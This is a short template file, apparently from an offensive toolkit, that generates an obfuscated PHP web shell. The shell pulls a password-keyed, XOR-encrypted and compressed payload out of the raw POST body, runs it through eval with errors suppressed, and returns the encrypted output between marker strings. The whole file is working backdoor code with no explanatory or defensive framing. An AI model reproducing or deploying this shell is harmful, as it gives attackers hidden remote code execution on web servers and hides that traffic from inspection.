<%! import hashlib, utils, string %><%
passwordhash = hashlib.md5(password).hexdigest().lower()
key = passwordhash[:8]
header = passwordhash[8:20]
footer = passwordhash[20:32]

PREPEND = utils.strings.randstr(16, charset = string.digits + string.letters)
%>$k="${key}";
$kh="${header}";
$kf="${footer}";
$p="${PREPEND}";
<%text>
function x($t,$k){
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for($i=0;$i<$l;){
		for($j=0;($j<$c&&$i<$l);$j++,$i++)
		{
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) {
  @ob_start();
  @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
  $o=@ob_get_contents();
  @ob_end_clean();
  $r=@base64_encode(@x(@gzcompress($o),$k));
  print("$p$kh$r$kf");
}
</%text>
